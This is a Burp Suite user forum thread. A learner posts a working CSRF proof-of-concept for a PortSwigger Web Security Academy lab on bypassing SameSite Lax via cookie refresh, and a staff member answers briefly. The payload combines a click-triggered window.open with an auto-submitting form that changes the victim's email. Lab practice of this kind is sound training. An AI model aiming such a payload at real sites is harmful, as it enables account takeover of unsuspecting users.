Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum will be discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Centre. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTRE DISCORD

Create new post

SameSite Lax bypass via cookie refresh problem the thing is that my exploit its ok when i check the view exploit but when i deliver it wont work

Eternal | Last updated: Oct 16, 2024 03:35PM UTC

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script> window.onclick = () => { window.open('https://0a0b00690322a6b38288ec1d009100f9.web-security-academy.net/my-account/change-email') } </script> <form action="https://0a0b00690322a6b38288ec1d009100f9.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="red&#64;gmail&#46;com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Eternal | Last updated: Oct 16, 2024 03:35PM UTC

I mean that i cant see lab solved massage

Ben, PortSwigger Agent | Last updated: Oct 16, 2024 04:28PM UTC

Hi, Does using the written solution, in its entirety, allow you to solve this lab?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.